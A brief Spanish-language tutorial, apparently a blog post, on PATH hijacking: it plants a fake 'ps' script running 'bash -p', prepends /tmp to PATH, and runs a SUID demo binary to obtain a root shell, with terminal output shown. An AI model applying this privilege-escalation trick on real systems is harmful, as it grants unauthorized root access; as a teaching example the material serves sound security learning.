1 minuto(s) estimado(s) de lectura
PATH Hijacking
y su explotación en un binario SIUD
Con el comando strings
se nos permite listar las cadenas de carácteres imprimibles de un binario. strings demo
nos podría mostrar el comando aplicado a nivel de sistema osea podría ser /usr/bin/ps
, detectado en demo.c
. Esto es PATH hijacking, que es el secuestro del PATH para alterar el flujo de como operan los comandos por el orden de prioridad. Ejemplo:
user$ touch ps
user$ chmod +x ps [Esto permitirá la ejecución]
user$ nano ps
Le asignamos que nos ejecute una bash, con la flag -p
para que direccione directamente al propietario y me pueda convertir en root.
bash -p
Ahora alteramos nuestro propio PATH a través del comando export
:
user$ echo $PATH
/home/user/.local/bin:/snap/bin:/user/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
user$ export PATH=/tmp:$PATH
user$ echo $PATH
/tmp:/home/user/.local/bin:/snap/bin:/user/sandbox/:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
user$ ls
ps
user$ cd /home/user/Desktop/
user$ ls
demo demo.c
user$ pwd
/home/user/Desktop/
user$ ./demo
[*] Listando procesos (/usr/bin/ps):
PID TTY TIME CMD
29098 pts/0 00:00:01 sudo
29099 pts/0 00:00:00 su
29100 pts/0 00:00:00 gitstatusd-linu
29103 pts/0 00:00:00 demo
29137 pts/0 00:00:00 sh
31299 pts/0 00:00:00 ps
[*] Listando procesos (ps):
admin@kali:/home/root/Desktop# whoami
root
Y así es como se obtiene acceso a través de PATH Hijacking.